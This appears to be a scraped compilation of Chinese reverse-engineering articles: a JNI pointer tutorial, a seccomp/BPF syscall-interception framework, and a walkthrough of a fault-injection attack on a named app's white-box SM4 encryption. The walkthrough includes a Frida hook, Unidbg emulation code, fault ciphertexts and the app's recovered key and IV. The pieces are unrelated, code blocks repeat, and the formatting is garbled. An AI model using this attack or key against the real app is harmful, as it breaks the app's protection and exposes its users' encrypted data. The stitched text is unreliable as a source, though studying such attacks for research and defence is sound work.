现在再来看看extern \\"C\\"这行代码,是不是就明白为什么表示下面的代码使用的是C的编译方式了。
讲完了extern \\"C\\"这行代码,我们继续讲解.cpp文件:
我们先从stringFromJAVA函数写起,我们要在这个函数中实现在C/C++层返回一个字符串给Java层,那需要在stringFromJAVA函数中添加以下代码:
1 | \\n\\n return env - >NewStringUTF( \\"第一个native层返回的字符串!!!\\" ); \\n | \\n
聪明的你应该发现这行.cpp文件中的代码和之前简单体验JNI开发时在.c文件中写的有点不一样,这是之前写的:
1 | \\n\\n return ( * env) - > NewStringUTF(env, \\"Hello From JNITest Function(getJNIString)\\" ); \\n | \\n
那为什么会出现这种差别呢?这还得从jni.h文件说起了,可能有的朋友因为没有安装Android Studio没法查看jni.h文件,这种情况可以去访问以下网址:
jdk/src/java.base/share/native/include/jni.h at master · openjdk/jdk · GitHub
首先先说结论:导致这个差别的原因是因为如果是.c文件,那么JNIEnv *env是二级指针,如果是.cpp文件,那么JNIEnv *env是一级指针。有些朋友可能看完结论还是一脸懵逼,但是没关系,我们慢慢道来:
还记得在讲解extern \\"C\\"时出现的这个条件判断语句吗?没错,这次还是跟它有关系:
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n | \\n\\n #if defined(__cplusplus) typedef _JNIEnv JNIEnv; typedef _JavaVM JavaVM; #else \\n \\ntypedef const struct JNINativeInterface * JNIEnv; \\n\\n \\ntypedef const struct JNIInvokeInterface * JavaVM; \\n#endif | \\n
之前我们追过去看了,无论是C还是C++实际都定义在 JNINativeInterface 结构体中,最终都会指向JNINativeInterface
结构体。而在这个过程中就产生了差别,要明白为什么需要先简单了解一下C中的指针是什么,如果你有兴趣去了解C语言的指针,可以去阅读以下这篇文章:
c语言指针用法及实际应用详解,通俗易懂超详细! - 知乎 (zhihu.com)
如果没兴趣了解C语言的指针,那我在这个简单的说一下指针和指针变量。
指针是一种概念,所谓的指针其实就是数据的存储地址,指针可以方便CPU访问数据。
而指针变量它是指针这个概念的具体应用之一,指针变量和普通变量不同,指针变量它只能存储数据地址。
之前我们在C/C++层经常可以看到*
出现,而*
在C语言中可以用来获取指针变量指向那个内存地址的数据,比如:
1 | \\nresult = *ptr; | \\n
也可以用来定义一个指针变量,比如:
1 | \\n\\n int *ptr; \\n | \\n
现在应该对指针有一点了解了吧!那好我们看如果native-lib文件的后缀名为.cpp时JNIEnv
是怎么样的:
1 | \\ntypedef _JNIEnv JNIEnv; | \\n
之前讲过这行代码将 _JNIEnv
类型定义一个别名,该别名为JNIEnv
类型,_JNIEnv
结构体是对 JNINativeInterface
结构体的封装,通过这种方式可以访问 JNINativeInterface 结构体中的函数指针( JNINativeInterface 结构体中定义的C语言函数),只需要调用_JNIEnv
结构体中的方法即可。当后缀名为.cpp时,可以通过 _JNIEnv
类型的对象来执行 _JNIEnv
结构体中的函数,这些函数提供了与 Java Native Interface (JNI) 相关的功能,用于在 C++ 代码中与 Java 代码进行交互。
我们再看看文件后缀名为.cpp时的C++环境中JNIEnv *env 参数,可以发现,C++环境中所谓的JNIEnv *env 参数就是先给_JNIEnv
结构体定义了一个别名为JNIEnv
类型,然后再使用JNIEnv
类型定义一个指针变量env,最后我们使用env可以直接调用 _JNIEnv
结构体中的函数,将_JNIEnv
结构体当做一个对象使用。回顾整个过程可以发现只有在JNIEnv *env
参数这定义了一个指针变量,所以文件后缀名为.cpp时,JNIEnv *env参数是一级指针。
想要调用一级指针下的函数,那需要使用到->
。在 C++ 中,->
是一个成员访问运算符,用于通过指针访问对象的成员函数。所以这就是如果文件后缀名为.cpp时为什么是env->函数名称 , 即可完成调用的原因。
那如果是C环境,为什么是二级指针呢?我们看else分支下的 JNIEnv 类型:
1 | \\n\\n typedef const struct JNINativeInterface * JNIEnv; \\n | \\n
这里JNINativeInterface*
是 JNINativeInterface
结构体指针类型。可以看到将 JNINativeInterface
结构体指针类型定义了一个别名,该别名为JNIEnv
类型。那么这里的JNIEnv
类型已经是一级指针了,然后又在JNIEnv *env
参数这定义了一个指针变量,那这里的env参数就已经是二级指针了。
在 C 语言中,->
运算符用于访问结构体指针的成员。当我们有一个指向结构体的指针时,可以使用 ->
运算符来访问该结构体的成员变量或成员函数。所以我们想要使用->
访问JNINativeInterface
结构体下的成员变量或成员函数时,那么C环境下的JNIEnv *env 参数就必须是一级指针,要将二级指针变为一级指针就需要解引用。在 C 语言中,(*)
是解引用运算符的语法。解引用运算符用于访问指针所指向的对象。当我们有一个指针时,可以使用 (*)
运算符来获取该指针所指向的对象。
那么在C环境中我们需要使用 (*env)
的形式来解引用 env
指针,然后再使用 ->
运算符来访问 JNIEnv
结构体中的成员函数。所以这就是如果文件后缀名为.c时为什么是(*env)->函数指针 , 即可完成调用的原因。
对比C环境中访问 JNIEnv
结构体中的成员函数和C++环境中访问 JNIEnv
结构体中的成员函数你可以发现它们之间还有一个差别,那就是C环境中访问 JNIEnv
结构体中的成员函数比C++环境中访问 JNIEnv
结构体中的成员函数多一个参数env。出现这个差别的原因也很简单,这是因为C是没有对象的,想要持有env环境,那就必须将JNIEnv *env
参数传递进去。而C++不需要将JNIEnv *env
参数传递进去是因为C++是有对象的本来就会持有env环境,所以不需要传。
为什么要详细讲这些呢?详细讲这些感觉作用不大。我这里详细讲这些是因为我们主要是要搞逆向,如果想在逆向途中如鱼得水,那就需要对开发有一些基础了解,但对开发的了解又不能在于表面,需要知道一些机制的具体原因,这样才能帮我们减轻阻碍。
写完了stringFromJAVA函数,接下来我们写stringFromC函数,我们要在这个函数中实现从C/C++层获取到JAVA层普通字段后修改该字段的值。既然我们要修改JAVA层字段的值,那么我们需要用到这个函数:
1 | \\nvoid SetObjectField(jobject obj, jfieldID fieldID, jobject value) | \\n
看函数名就很直白的告诉我们这个函数是用来修改Object类型字段用的,我们要传入三个参数:
SetObjectField函数的jobject obj参数:Java对象的引用。这里想要SetObjectField函数修改字段的值,那你就得告诉它这个字段所属的实例对象是谁。之前讲过JNI函数的jobject thiz参数是表示当前对象的引用,用于表示调用当前JNI函数的Java对象。那当前JNI函数的Java对象是谁呢?是MainActivity.this,而我们要修改字段的所属的实例对象是谁呢?也是MainActivity.this,所以jobject obj参数传入中传入jobject thiz参数。
SetObjectField函数的jfieldID fieldID参数:要修改的字段的ID。字段的ID是一个jfieldID类型的变量,它是用于表示一个Java字段在JNI环境中的唯一标识符。
我们现在是缺少jfieldID类型的变量,所以我们需要去创建一个jfieldID类型的变量去获取要修改的字段的ID。那么我们需要用到这个函数:
1 | \\n\\n jfieldID GetFieldID(jclass clazz, const char * name, const char * sig) \\n | \\n
其实这些函数名都很直白的把函数的作用告诉了我们,这个函数就很直白的告诉我们这是用来获取字段的ID用的,但是这里也要传入三个参数:
\\n\\n\\n
Android
平台从上到下,无需ROOT/解锁/刷机,应用级拦截框架的最后一环 ——SVC
系统调用拦截。
☞ Github: https://www.github.com/iofomo/abyss ☜
\\n
由于我们虚拟化产品的需求,需要支持在普通的Android
手机运行。我们需要搭建覆盖应用从上到下各层的应用级拦截框架,而Abyss
作为系统SVC
指令的调用拦截,是我们最底层的终极方案。
源码位置:fd8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8$3k6G2L8h3!0Q4x3V1k6S2j5Y4W2K6M7#2)9J5c8Y4c8J5k6h3g2Q4x3V1k6E0j5h3W2F1i4K6u0r3M7%4k6U0k6i4t1`.
\\nSeccomp(Secure Computing Mode):
\\nSeccomp
是 Linux
内核的一个安全特性,用于限制进程可以执行的系统调用。它通过过滤系统调用,防止恶意程序执行危险操作。Seccomp
通常与 BPF
结合使用,以实现更灵活的过滤规则。
BPF(Berkeley Packet Filter):
\\nBPF
是一种内核技术,最初用于网络数据包过滤,但后来被扩展用于更广泛的用途,包括系统调用过滤。BPF
程序可以在内核中运行,用于检查和过滤系统调用。
首先,配置 BPF
规则,如下我们配置了目标系统调用号的拦截规则,不在这个名单内的就放过,这样可以实现仅拦截我们关心的系统调用(即函数),提升拦截效率和稳定性。
1 2 3 4 5 6 7 8 9 10 11 12 13 | static void doInitSyscallNumberFilter( struct sock_filter* filter, unsigned short & i) { // Load syscall number into accumulator filter[i++] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof( struct seccomp_data, nr))); // config target syscall // add more syscall here ... // filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 5, 0); // filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getcwd, 4, 0); // filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_chdir, 3, 0); // filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 2, 0); filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 1, 0); filter[i++] = BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW); } |
然后,我们需要过滤掉一些系统库和自身库,防止写入死循环。
\\nvdso
的过滤【必须】linker
的过滤【可选,提效】libc
的过滤【可选,提效】通过解析进程 maps
中对应库地址区间,配置跳过此区间的系统调用规则。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | static void doInitSyscallLibFilterByAddr( struct sock_filter* filter, unsigned short & i, const uintptr_t & start, const uintptr_t & end) { // Load syscall lib into accumulator #if defined(__arm__) filter[i++] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof( struct seccomp_data, instruction_pointer)); filter[i++] = BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, start, 0, 2); filter[i++] = BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, end, 1, 0); filter[i++] = BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW); #else // __aarch64__ filter[i++] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof( struct seccomp_data, instruction_pointer) + 4)); filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, (uint32_t)(start >> 32), 0, 4); filter[i++] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof( struct seccomp_data, instruction_pointer))); filter[i++] = BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, (uint32_t)start, 0, 2); filter[i++] = BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, (uint32_t)end, 1, 0); filter[i++] = BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW); #endif } |
其次,应用以上配置。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | struct sigaction act = { 0 }; act.sa_flags = SA_SIGINFO | SA_NODEFER; act.sa_sigaction = handleSignalAction; struct sigaction old_sa = {}; ret = sigaction(SIGSYS, &act, &old_sa); if (0 != ret) { LOGSVCE( \\"sigaction: %d, %d, %s\\" , ret, errno , strerror ( errno )) :: free (filter); __ASSERT(0) return -11; } // Unmask SIGSYS sigset_t mask; if (sigemptyset(&mask) || sigaddset(&mask, SIGSYS) || sigprocmask(SIG_UNBLOCK, &mask, nullptr) ) { LOGSVCE( \\"sigprocmask: %d, %d, %s\\" , ret, errno , strerror ( errno )) :: free (filter); __ASSERT(0) return -12; } struct sock_fprog prog = { .len = filterCount, .filter = filter, }; // set to self process ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); if (0 != ret) { LOGSVCE( \\"PR_SET_NO_NEW_PRIVS: %d, %d, %s\\" , ret, errno , strerror ( errno )) :: free (filter); __ASSERT(0) return -13; } // set seccomp to kernel ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog); if (0 != ret) { LOGSVCE( \\"PR_SET_SECCOMP: %d, %d, %s\\" , ret, errno , strerror ( errno )) :: free (filter); __ASSERT(0) return -14; } |
最后,实现拦截后的处理。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | static void handleSignalAction( int signo, siginfo_t* info, void * context) { if (!info || !context || signo != SIGSYS || info->si_code != SYS_SECCOMP) { LOGSVCW( \\"signal: signo=%d, code=%d, errno=%d, call_addr=%p, arch=0x%x, syscall=0x%x,%s\\" , info->si_signo, info->si_code, info->si_errno, info->si_call_addr, info->si_arch, info->si_syscall, SvcerDumper::index2name(info->si_syscall) ) return ; } ucontext_t *uc = reinterpret_cast <ucontext_t *>(context); intptr_t rc = SvcerSyscall::Call(SECCOMP_SYSCALL(uc), SECCOMP_PARM1(uc), SECCOMP_PARM2(uc), SECCOMP_PARM3(uc), SECCOMP_PARM4(uc), SECCOMP_PARM5(uc), SECCOMP_PARM6(uc) ); SvcerSyscall::PutValueInUcontext(rc, uc); } |
为了使用方便,封装了一些基础系统调用的日志打印接口。
\\n1)添加要拦截的系统调用号。(日常日志打印)
\\n1 2 3 4 5 6 7 | SvcerDumper::addDump(SVCER_SYSCALL_execve); SvcerDumper::addDump(SVCER_SYSCALL_execveat); SvcerDumper::addDump(SVCER_SYSCALL_open); SvcerDumper::addDump(SVCER_SYSCALL_openat); SvcerDumper::addAll(); SvcerHooker::init(ESvcerHookerMode_IgnoreAll, \\"libifmamts.so\\" ); |
2)注册要拦截的系统调用回调。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | // 这里注册 for ( int i=SVCER_SYSCALL_None; i<SVCER_SYSCALL_Max; ++i) { SvcerHooker::registerCallback((TSVCER_SYSCALL_Type)i, handleSvcerHookerCallback); } // 这里实现 static void handleKonkerSvcerHookerCallback( int sn, SvcerHookerArgument* arg /*Not NULL*/ ) { switch (sn) { case __NR_statfs: // int statfs(const char* path, struct statfs* result); case __NR_truncate: // typedef int truncate(const char *filename, off_t len); case __NR_chdir: // int chdir(const char *path); { const char * pathname = ( const char *)arg->getArgument1(); char memString[512]; if (memString == KonkerFixer::fixDataPath(pathname, memString)) { LOGSVCI( \\"fixer, %s: %s\\" , SvcerDumper::index2name(sn), __PRINTSTR(pathname)) arg->setArgument1(( intptr_t )memString); } arg->doSyscall(); return ; } default : LOGSVCI( \\"ignore, %s\\" , SvcerDumper::index2name(sn)) break ; } arg->doSyscall(); } |
3)初始化
\\n1 2 | // 设置要过滤的库和当前自身库名称 SvcerHooker::init(ESvcerHookerMode_IgnoreVdso|ESvcerHookerMode_IgnoreLibc|ESvcerHookerMode_IgnoreLinker, \\"libdemo.so\\" ); |
额外模块:
\\n本框架实现了最基本的检测仿真,如通过 __NR_rt_sigaction
和 __NR_prctl
获取配置时,会对返回值进行还原。
参考项目:
\\n\\n声明:本文章中所有内容仅供学习交流使用,不用于其他任何目的,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关,擅自使用本文讲解的技术而导致的任何意外,作者均不负责,若有侵权,请联系作者立即删除!
介绍:随着越来越多的人都会白盒AES的DFA,现在一些厂商为了安全性开始使用白盒SM4,那就让我们来看看吧~
包名:Y29tLmJ5ZC5kZW56YWRpbGluaw==
版本号:3.1.8
定位也比较简单,相信屏幕前的彦祖都可以找到,这里直接给出Frida的脚本了
然后我们使用Unidbg去模拟执行,代码如下
arg3其实很明显就是IV了,看不出来也没关系,So里面可以看得出来,这里要用readFile的形式来读取它这个白盒的表,表太大了不能直接定义为字符串所以我采用了这种方式
然后运行,发现读取了maps,补一下,不补的话跑不起来
然后继续跑,会发现报错了,bangcle crypto tool error code : -1,NullPointerException这个空指针异常是我们没跑完肯定没有结果,然后我们又去读取的结果(getValue)所以报错了
现在来看看这个报错哪来的,因为这个样本没有什么混淆、字符串加密,所以字符串加密就可以直接搜索出来了
大概意思就是v12有问题,不为0,导致的错误,我们进去看看sub_509C这个函数
可以通过断点在几个可疑的地方下一下断点看看到底执行了没有,也可以使用traceCode,我这里就直接说了,其实是v17 = (*((*a1)->reserved0 + 168))(*a1, a6)这里出问题了,根据Unidbg这里是GetStringUTFLength,然后判断长度是不是奇数,是的话就直接-1,-1基本表示失败、有问题,这里读取到的表长度是0x40009,是奇数,这个表按理来说是偶数才对,并且我们看了一下表的长度应该是0x40008才对,不知道什么原因读错了,patch一下就好了,代码如下
然后代码就跑通了,这里要注意如果我们将明文改成几个字节跑出来的结果是错的,所以我上面没有修改明文,估计是在哪里判断了长度,无伤大雅我们继续分析,根据之前的符号已知是CBC模式的,并且IV我们也猜到了可能是其中一个参数,接下来我们就点进伪代码分析一下
最后会跟到这个函数然后就没办法跟下去了,没办法直接根据伪代码来找到白盒SM4的具体位置,造成这个原因是因为IDA的反编译出问题了,其实就在这个函数里面,但是伪代码没翻译出来,对应如下
我是怎么发现的呢一开始?我一开始直接偷懒了,搜索SM4直接定位到了bangcle_WB_QSM4_encrypt
Hook了一下发现确实是这个函数并且代码的实现也确实是查表的实现,并且找不到Key,那就是白盒SM4了
那如果符号搜索不到呢我们又要怎么定位?
我们还可以使用traceCode和traceFunctionCall来进行定位,traceCode我们都比较熟悉,但是在这个样本里面不是很好用,因为粒度太细了要trace很久,感兴趣的可以试试看,也可以只trace一会然后停下来,然后聚焦bangcle_internal_crypto这个函数内部的一个控制流走向,因为我们前面就是跟到这里跟不下去了
然后我们还可以使用Unidbg封装好的一个traceFunctionCall,粒度稍微粗糙一些但是够用了,这里就不多介绍了,因为我们的明文分组是刚好19个,根据标准的填充还会再填充一个分组,所以应该是20,但是这个traceFunctionCall还是有点问题的,有的时候trace不全,即次数会出现遗漏,这里仅提供一个思路~
最后一个0x30ec就是我们刚刚字符串定位到的函数了
接下来我们先来简单介绍一下白盒SM4的DFA差分故障攻击,详细的数学原理感兴趣的可以参考:浅析SM4中的DFA attack-安全KER - 安全资讯平台,这里就不多赘述了
工具准备:SideChannelMarvels/JeanGrey: Tools to perform differential fault analysis attacks (DFA).
SideChannelMarvels/Stark: Repository of small utilities related to key recovery
我们可以先来看一份SM4的DFA攻击代码(参考:guojuntang/sm4_dfa: differential fault analysis attacks (DFA) against SM4)然后来总结一下注入故障的位置与时机
涉及的数学原理其实是比较复杂的,这里我就直接总结一下:
注入攻击的轮次时机:29-30-31-32,分别拿到对应的轮密钥
注入攻击的故障要求:第29轮>13个字节的差分(基本16个字节的差分),第30轮129个字节的差分,第32轮5个字节的差分,这些是质量最高的差分范围
当然这些也只是理论,实战的时候你会发现其实会有些变化
简单介绍完方案以后我们来开始注入攻击吧,从最后一组分组的最后一轮开始,这里输出了前后的value确保注入故障成功
正确的结果是3764c30d86577eab5ad61cc1cc7355f7,注入故障以后是47d601cf86577eab5ad61cc1cc7355f7,观察了一下故障字节是四个字节,不符合差分要求,那就先继续往上一轮注入看看,只需要修改一下偏移,我选择的是0x3764,故障密文是74f4709ae76f27ca5ad61cc1cc7355f7,故障字节8个字节,符合要求,在这个位置继续注入一次,每轮拿到两个故障密文,新的故障密文是b3801e6bdc3a139c5ad61cc1cc7355f7,也是8个字节的故障符合要求
然后继续往第30轮注入,我选择的是0x3734,故障密文分别是2a4da31a9398bd3977fb7b8bcc7355f7、f707f9ef53227db06aea10f1cc7355f7,故障密文都是12个字节,符合要求
继续往第29轮注入,我选的是0x3704,故障密文分别是e1320d54029a01d0c67d533720cceaa4、6ff24e4cc64870f0f1ac2ba4011bf052,16个字节的故障,符合要求
然后我们可以先放到phoenixSM4看看
tracefile里面的内容如下
结果如下
还差了第29轮的轮密钥,那我们就继续往上一轮注入攻击吧,我选的是0x36D4,故障密文分别是9d2fe59c814b4115072182f8279b69a6、c12dc7f7e8527e8713d8f637b979447d,基本都是16个字节的差分,然后继续phoenixSM4看看,结果出来了
至此我们拿到轮密钥了,接下来就是通过轮密钥还原主密钥,这里使用的是SM4_Keyschedule这个前面贴出的优秀工具
密钥就是39B8EC81 9A4A5585 40AFD76E 142A2B9E,IV就是62636461313233666364346432303139,放到CyberChef里面解密会发现报错:Invalid PKCS#7 padding.
看起来像是填充出现了问题,难道是魔改了填充吗?我当时的分析思路是:
1、是否魔改了填充,然后去看了一下最后一组的明文内容,发现填充没有问题
2、密文是否做了别的操作,观察了一下代码发现没有
3、是否是密文端序的问题,转换了一下端序继续使用SM4_Keyschedule发现轮密钥出不来,看起来不是密文端序的问题了
4、是否是标准的Base64,因为我一开始是使用抓包的结果来解密的,看了一下发现是标准的
5、白盒SM4的DFA是否受IV的影响,理论上是不受影响的,并且白盒AES的DFA也是不受IV影响的,这里我将最后一组明文内容改成了chuxin,并且手动补齐了填充,这样当作ECB的模式来重新DFA发现轮密钥还是一样的,也从实践证明了确实不受IV的影响
6、是否是轮密钥端序的问题,比如我们前面的是EDF3A9FA 682E0F96 B2D12B44 21E6B235,那有没有可能是FAA9F3ED 960F2E68 442BD1B2 35B2E621?试试看
看到这个Key,稳啦,这里就是轮密钥端序的问题,这里是SM4_Keyschedule和phoenixSM4的端序不一致导致的问题,感兴趣的可以修改一下源码方便以后的使用~
function
main() {
\\n
Java.perform(
function
() {
\\n
var
ByteString = Java.use(
\\"com.android.okhttp.okio.ByteString\\"
);
\\n
function
toBase64(data) {
\\n
return
ByteString.of(data).base64();
\\n
}
\\n
function
toHex(data) {
\\n
return
ByteString.of(data).hex();
\\n
}
\\n
let CryptoTool = Java.use(
\\"com.bangcle.CryptoTool\\"
);
\\n
CryptoTool[
\\"qsm4EncryptByteArr\\"
].implementation =
function
(bArr, str, bArr2) {
\\n
console.log(`CryptoTool.qsm4EncryptByteArr is called: bArr=${toHex(bArr)}, str=${str}, bArr2=${toHex(bArr2)}`);
\\n
let result =
this
[
\\"qsm4EncryptByteArr\\"
](bArr, str, bArr2);
\\n
console.log(`CryptoTool.qsm4EncryptByteArr result=${toBase64(result)}`);
\\n
return
result;
\\n
};
\\n
})
\\n}
function
main() {
\\n
Java.perform(
function
() {
\\n
var
ByteString = Java.use(
\\"com.android.okhttp.okio.ByteString\\"
);
\\n
function
toBase64(data) {
\\n
return
ByteString.of(data).base64();
\\n
}
\\n
function
toHex(data) {
\\n
return
ByteString.of(data).hex();
\\n
}
\\n
let CryptoTool = Java.use(
\\"com.bangcle.CryptoTool\\"
);
\\n
CryptoTool[
\\"qsm4EncryptByteArr\\"
].implementation =
function
(bArr, str, bArr2) {
\\n
console.log(`CryptoTool.qsm4EncryptByteArr is called: bArr=${toHex(bArr)}, str=${str}, bArr2=${toHex(bArr2)}`);
\\n
let result =
this
[
\\"qsm4EncryptByteArr\\"
](bArr, str, bArr2);
\\n
console.log(`CryptoTool.qsm4EncryptByteArr result=${toBase64(result)}`);
\\n
return
result;
\\n
};
\\n
})
\\n}
public
static
byte
[] hexStringToBytes(String hexString) {
\\nif
(hexString.isEmpty()) {
\\nreturn
null
;
\\n}
hexString = hexString.replace(
\\" \\"
,
\\"\\"
);
\\nhexString = hexString.toLowerCase();
final
byte
[] byteArray =
new
byte
[hexString.length() >>
1
];
\\nint
index =
0
;
\\nfor
(
int
i =
0
; i < hexString.length(); i++) {
\\nif
(index > hexString.length() -
1
) {
\\nreturn
byteArray;
\\n}
byte
highDit = (
byte
) (Character.digit(hexString.charAt(index),
16
)
\\n
&
0xFF
);
\\nbyte
lowDit = (
byte
) (Character.digit(hexString.charAt(index +
1
),
\\n
16
) &
0xFF
);
\\n
byteArray[i] = (
byte
) (highDit <<
4
| lowDit);
\\n
index +=
2
;
\\n
}
\\n
return
byteArray;
\\n}
public
static
String bytesTohexString(
byte
[] bytes) {
\\n
StringBuffer sb =
new
StringBuffer();
\\n
for
(
int
i =
0
; i < bytes.length; i++) {
\\n
String hex = Integer.toHexString(bytes[i] &
0xFF
);
\\n
if
(hex.length() <
2
){
\\n
sb.append(
0
);
\\n
}
\\n
sb.append(hex);
\\n
}
\\n
return
sb.toString();
\\n}
public
static
String readFile(String filePath) {
\\n
StringBuilder content =
new
StringBuilder();
\\n
try
(BufferedReader reader =
new
BufferedReader(
new
FileReader(filePath))) {
\\n
String line;
\\n
while
((line = reader.readLine()) !=
null
) {
\\n
content.append(line).append(
\\"\\\\n\\"
);
\\n
}
\\n
}
catch
(IOException e) {
\\n
e.printStackTrace();
\\n
}
\\n
return
content.toString();
\\n}
public
void
call(){
\\n
byte
[] arg1 = hexStringToBytes(
\\"这里就不给出完整明文了\\"
);
\\n
String arg2 = readFile(
\\"unidbg-android/src/test/java/com/tengshi/table\\"
);
\\n
byte
[] arg3 = hexStringToBytes(
\\"62636461313233666364346432303139\\"
);
\\n
DvmObject<?> qsm4EncryptByteArr = NativeApi.callStaticJniMethodObject(emulator,
\\"qsm4EncryptByteArr\\"
, arg1, arg2, arg3);
\\n
byte
[] bytes = (
byte
[]) qsm4EncryptByteArr.getValue();
\\n
System.out.println(
\\"result => \\"
+
new
String(Base64.getEncoder().encode(bytes)));
\\n
System.out.println(
\\"result => \\"
+ bytesTohexString(bytes));
\\n}
public
static
byte
[] hexStringToBytes(String hexString) {
\\nif
(hexString.isEmpty()) {
\\nreturn
null
;
\\n}
hexString = hexString.replace(
\\" \\"
,
\\"\\"
);
\\nhexString = hexString.toLowerCase();
final
byte
[] byteArray =
new
byte
[hexString.length() >>
1
];
\\nint
index =
0
;
\\nfor
(
int
i =
0
; i < hexString.length(); i++) {
\\nif
(index > hexString.length() -
1
) {
\\nreturn
byteArray;
\\n}
byte
highDit = (
byte
) (Character.digit(hexString.charAt(index),
16
)
\\n
&
0xFF
);
\\nbyte
lowDit = (
byte
) (Character.digit(hexString.charAt(index +
1
),
\\n
16
) &
0xFF
);
\\n
byteArray[i] = (
byte
) (highDit <<
4
| lowDit);
\\n
index +=
2
;
\\n
}
\\n
return
byteArray;
\\n}
public
static
String bytesTohexString(
byte
[] bytes) {
\\n
StringBuffer sb =
new
StringBuffer();
\\n
for
(
int
i =
0
; i < bytes.length; i++) {
\\n
String hex = Integer.toHexString(bytes[i] &
0xFF
);
\\n
if
(hex.length() <
2
){
\\n
sb.append(
0
);
\\n
}
\\n
sb.append(hex);
\\n
}
\\n
return
sb.toString();
\\n}
public
static
String readFile(String filePath) {
\\n
StringBuilder content =
new
StringBuilder();
\\n
try
(BufferedReader reader =
new
BufferedReader(
new
FileReader(filePath))) {
\\n
String line;
\\n
while
((line = reader.readLine()) !=
null
) {
\\n
content.append(line).append(
\\"\\\\n\\"
);
\\n
}
\\n
}
catch
(IOException e) {
\\n
e.printStackTrace();
\\n
}
\\n
return
content.toString();
\\n}
public
void
call(){
\\n
byte
[] arg1 = hexStringToBytes(
\\"这里就不给出完整明文了\\"
);
\\n
String arg2 = readFile(
\\"unidbg-android/src/test/java/com/tengshi/table\\"
);
\\n
byte
[] arg3 = hexStringToBytes(
\\"62636461313233666364346432303139\\"
);
\\n
DvmObject<?> qsm4EncryptByteArr = NativeApi.callStaticJniMethodObject(emulator,
\\"qsm4EncryptByteArr\\"
, arg1, arg2, arg3);
\\n
byte
[] bytes = (
byte
[]) qsm4EncryptByteArr.getValue();
\\n
System.out.println(
\\"result => \\"
+
new
String(Base64.getEncoder().encode(bytes)));
\\n
System.out.println(
\\"result => \\"
+ bytesTohexString(bytes));
\\n}
if
(pathname.equals(
\\"/proc/self/maps\\"
)){
\\n
return
FileResult.success(
new
SimpleFileIO(oflags,
new
File(
\\"unidbg-android/src/test/resources/Test/tengshi_maps\\"
) , pathname));
\\n}
if
(pathname.equals(
\\"/proc/self/maps\\"
)){
\\n
return
FileResult.success(
new
SimpleFileIO(oflags,
new
File(
\\"unidbg-android/src/test/resources/Test/tengshi_maps\\"
) , pathname));
\\n}
[main]D
/crypto_tool
: bangcle crypto tool error code : -1
\\nException
in
thread
\\"main\\"
java.lang.NullPointerException
\\n
at com.tengshi.encrypt.call(encrypt.java:248)
\\n
at com.tengshi.encrypt.main(encrypt.java:273)
\\n[main]D
/crypto_tool
: bangcle crypto tool error code : -1
\\nException
in
thread
\\"main\\"
java.lang.NullPointerException
\\n
at com.tengshi.encrypt.call(encrypt.java:248)
\\n
at com.tengshi.encrypt.main(encrypt.java:273)
\\njbyteArray __fastcall Java_com_bangcle_CryptoTool_qsm4EncryptByteArr(
JNIEnv *a1,
\\n
__int64
a2,
\\n
void
*a3,
\\n
__int64
a4,
\\n
__int64
a5)
\\n{
int
v5;
// w1
\\n
JNIEnv *v10;
// [xsp+38h] [xbp+38h] BYREF
\\n
unsigned
int
v11;
// [xsp+44h] [xbp+44h] BYREF
\\n
int
v12;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v13;
// [xsp+4Ch] [xbp+4Ch]
\\n
jbyte *v14;
// [xsp+50h] [xbp+50h]
\\n
char
*v15;
// [xsp+58h] [xbp+58h]
\\n
jbyteArray v16;
// [xsp+60h] [xbp+60h]
\\n
v10 = a1;
\\n
v14 = 0LL;
\\n
v15 = 0LL;
\\n
dword_18018 = 9;
\\n
v12 = sub_5674(a3, a4);
\\n
if
( v12 )
\\n
{
\\n
v12 = -1;
\\n
}
\\n
else
\\n
{
\\n
v14 = (*v10)->GetByteArrayElements(v10, a3, 0LL);
\\n
if
( v14 )
\\n
{
\\n
v13 = (*v10)->GetArrayLength(v10, a3);
\\n
v11 = 16 * (v13 / 16 + 1);
\\n
v15 = _cxa_finalize(v11);
\\n
if
( v15 )
\\n
{
\\n
v12 = sub_509C(&v10, v14, v13, v15, &v11, a4, a5);
\\n
if
( !v12 )
\\n
{
\\n
v16 = (*v10)->NewByteArray(v10, v11);
\\n
(*v10)->SetByteArrayRegion(v10, v16, 0LL, v11, v15);
\\n
}
\\n
}
\\n
else
\\n
{
\\n
v12 = -1;
\\n
}
\\n
}
\\n
else
\\n
{
\\n
v12 = -1;
\\n
}
\\n
}
\\n
if
( v14 )
\\n
(*v10)->ReleaseByteArrayElements(v10, a3, v14, 2LL);
\\n
if
( v15 )
\\n
strchr
(v15, v5);
\\n
